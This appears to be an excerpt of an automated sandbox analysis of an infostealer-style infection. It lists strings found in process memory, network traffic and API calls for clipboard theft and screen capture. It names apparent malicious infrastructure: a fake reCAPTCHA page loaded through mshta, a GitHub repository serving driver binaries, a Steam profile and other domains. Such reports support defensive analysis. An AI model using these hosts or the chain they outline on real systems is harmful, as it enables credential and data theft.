Source: powershell.exe, 00000000.00000002.58260917690.000002A3501FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58305312624.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC673000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58382068499.0000015EAAC2F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58448102834.0000025BAFE64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF448000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59532094818.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000000.00000002.58260917690.000002A35018B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58305312624.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC673000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58382068499.0000015EAAC14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58448102834.0000025BAFE64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF448000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59532094818.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000004.00000002.58382068499.0000015EAACB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micrd
Source: powershell.exe, 00000000.00000002.58260917690.000002A350242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: RegSvcs.exe, 0000000C.00000002.59494604546.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegSvcs.exe, 0000000C.00000002.59494604546.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000004.00000002.58302816703.0000015E93DC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58363019340.0000015EA2928000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B98D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58417681738.0000025BA7B39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58415482636.000001999007A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXzi
Source: powershell.exe, 00000000.00000002.58258386449.000002A33820C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58302816703.0000015E928B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.0000019980001000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58299585071.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXzi
Source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.$D
Source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cZD
Source: mshta.exe, 00000003.00000003.58280651620.00000248D996B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58297265094.00000250DC56D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com
Source: mshta.exe, 00000003.00000003.58276554563.00000250DCD93000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58275820747.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58307053628.00000250DCD96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283494904.00000250DCD95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com/
Source: mshta.exe, 00000003.00000003.58276554563.00000250DCD93000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58275820747.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58307053628.00000250DCD96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283494904.00000250DCD95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com/7
Source: powershell.exe, 00000000.00000002.58260917690.000002A3501FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58305312624.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC673000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58382068499.0000015EAAC2F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58448102834.0000025BAFE64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF448000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59532094818.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000000.00000002.58258386449.000002A3381BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000000.00000002.58258386449.000002A3381E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58302816703.0000015E928B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.0000019980001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXzi
Source: powershell.exe, 00000004.00000002.58302816703.0000015E93773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B98306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.0000019981142000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.58448102834.0000025BAFE9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: mshta.exe, 00000003.00000003.58280651620.00000248D9998000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287185983.00000248D99A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302980909.00000248D99A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 00000004.00000002.58302816703.0000015E93DC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58363019340.0000015EA2928000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B98D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58417681738.0000025BA7B39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58415482636.000001999007A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998150D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.58260917690.000002A3501FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58305312624.00000250DC675000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC673000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58382068499.0000015EAAC2F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58448102834.0000025BAFE64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF448000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59532094818.00000000053E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354rCannot
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/(
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C5914350094a33e2
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: mshta.exe, 00000003.00000002.58302794613.00000248D996B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D996B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-res/recaptcha-verify.html
Source: mshta.exe, 00000003.00000003.58280651620.00000248D9998000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287185983.00000248D99A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302980909.00000248D99A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/
Source: mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, 00.ps1	String found in binary or memory: https://view-reserve.com/recaptcha-verify.html
Source: mshta.exe, 00000003.00000002.58305312624.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.html...
Source: mshta.exe, 00000003.00000002.58302581442.00000248D98F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.html=
Source: mshta.exe, 00000003.00000002.58303252046.00000248D9AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlAPPT
Source: mshta.exe, 00000003.00000002.58305312624.00000250DC660000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302581442.00000248D98F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlC:
Source: mshta.exe, 00000003.00000002.58303534824.00000248DB3A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlH
Source: mshta.exe, 00000003.00000002.58302794613.00000248D9936000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D9933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlINetCookies
Source: mshta.exe, 00000003.00000002.58307882392.00000250E1340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlJ
Source: mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlTe
Source: mshta.exe, 00000003.00000003.58289321335.00000250DC78D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlYehItOKPCrVOrOVMGXyZZbKtNyrVXuwla
Source: mshta.exe, 00000003.00000002.58302794613.00000248D9936000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D9933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlYp?6
Source: mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlZe
Source: mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlbej6
Source: mshta.exe, 00000003.00000003.58288335780.00000250DC785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlhttps://view-reserve.com/recaptcha-verify.html
Source: mshta.exe, 00000003.00000002.58302661231.00000248D9925000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287597229.00000248D9924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlkeq6
Source: mshta.exe, 00000003.00000002.58305312624.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58287043720.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283273648.00000250DC6AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmllLMEM
Source: mshta.exe, 00000003.00000002.58307053628.00000250DCD96000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58283494904.00000250DCD95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58278705202.00000250DCD85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlll
Source: mshta.exe, 00000003.00000002.58302581442.00000248D98F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://view-reserve.com/recaptcha-verify.htmlu
Source: RegSvcs.exe, 0000000E.00000002.58326106471.0000000000A8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://washyceehsu.lat/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769

Source: unknown	HTTPS traffic detected: 92.255.57.120:443 -> 192.168.11.20:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.47.27.74:443 -> 192.168.11.20:49773 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_004363E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

14_2_004363E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_004363E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

14_2_004363E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_00436590 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

14_2_00436590

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00D20EE0 NtSetValueKey,		11_2_00D20EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00D20ED8 NtSetValueKey,		11_2_00D20ED8

Source: C:\Windows\System32\mshta.exe	Code function: 3_3_00000250DC912F14	3_3_00000250DC912F14
Source: C:\Windows\System32\mshta.exe	Code function: 3_3_00000250DC912F14	3_3_00000250DC912F14
Source: C:\Windows\System32\mshta.exe	Code function: 3_3_00000250DC912F14	3_3_00000250DC912F14
Source: C:\Windows\System32\mshta.exe	Code function: 3_3_00000250DC912F14	3_3_00000250DC912F14
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C868539	4_2_00007FFB4C868539
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C866EC0	4_2_00007FFB4C866EC0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C866800	4_2_00007FFB4C866800
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4C888539	6_2_00007FFB4C888539
